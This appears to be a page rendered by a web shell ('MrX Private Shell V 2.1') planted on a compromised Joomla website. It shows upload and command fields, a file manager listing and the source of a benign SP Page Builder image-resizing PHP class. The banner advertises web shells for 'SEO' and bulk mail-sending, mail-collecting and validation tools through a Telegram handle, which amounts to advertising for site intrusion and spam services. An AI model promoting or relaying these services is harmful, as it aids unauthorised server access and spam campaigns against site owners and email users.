__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('Restricted access');

class SppagebuilderHelperImage {

	public $height;
	public $width;
	private $src;

	public function __construct($src = '') {
		$this->src = $src;
		list($this->width, $this->height) = getimagesize($src);
	}

	public function getDimension() {
		return [$this->width, $this->height];
	}

	/**
	 * Create thumb image with specifice height and width and with their ratio
	 */
	public function createThumb($destination, $base_name, $ext, $size = array(), $quality = 100 ) {

		$img = $this->createImageFromType($ext);

		if(count((array) $size) && $img != null ) {
			$targetWidth = $size[0];
			$targetHeight = $size[1];

			$ratio_thumb = $targetWidth/$targetHeight;
			$ratio_original = $this->width/$this->height;

			if ($ratio_original >= $ratio_thumb) {
				$height = $this->height;
				$width = ceil(($height*$targetWidth)/$targetHeight);
				$x = ceil(($this->width-$width)/2);
				$y = 0;
			} else {
				$width = $this->width;
				$height = ceil(($width*$targetHeight)/$targetWidth);
				$y = ceil(($this->height-$height)/2);
				$x = 0;
			}

			$new = imagecreatetruecolor($targetWidth, $targetHeight);

			if($ext == "gif" or $ext == "png") {
				imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
				imagealphablending($new, false);
				imagesavealpha($new, true);
			}

			imagecopyresampled($new, $img, 0, 0, $x, $y, $targetWidth, $targetHeight, $width, $height);

			$dest = $destination . '/' . $base_name . '.' . $ext;

			$this->cloneImage($ext, $new, $dest, $quality);

			return true;
		}

		return false;
	}
 
	/**
	 * Clone Image from original to destination source based on extension
	 */
	private function cloneImage($ext, $new, $dest, $quality){
		switch($ext) {
			case 'bmp': imagewbmp($new, $dest); break;
			case 'gif': imagegif($new, $dest); break;
			case 'jpg': imagejpeg($new, $dest, $quality); break;
			case 'jpeg': imagejpeg($new, $dest, $quality); break;
			case 'png': imagepng($new, $dest, floor($quality/11)); break;
		}
	}

	/**
	 * Create Image from their specifice extension
	 */
	private function createImageFromType($ext) {
		switch($ext) {
			case 'bmp': $img = imagecreatefromwbmp($this->src); break;
			case 'gif': $img = imagecreatefromgif($this->src); break;
			case 'jpg': $img = imagecreatefromjpeg($this->src); break;
			case 'jpeg': $img = imagecreatefromjpeg($this->src); break;
			case 'png': $img = imagecreatefrompng($this->src); break;
		}
		return $img;
	}
}

Filemanager

Name Type Size Permission Actions
traits Folder 0775
ajax.php File 6.72 KB 0664
image.php File 2.65 KB 0664
integrations.php File 949 B 0664
language.php File 4.25 KB 0664
languages.php File 1.2 KB 0664
maintenance.php File 8.71 KB 0664
sppagebuilder.php File 8.46 KB 0664
Filemanager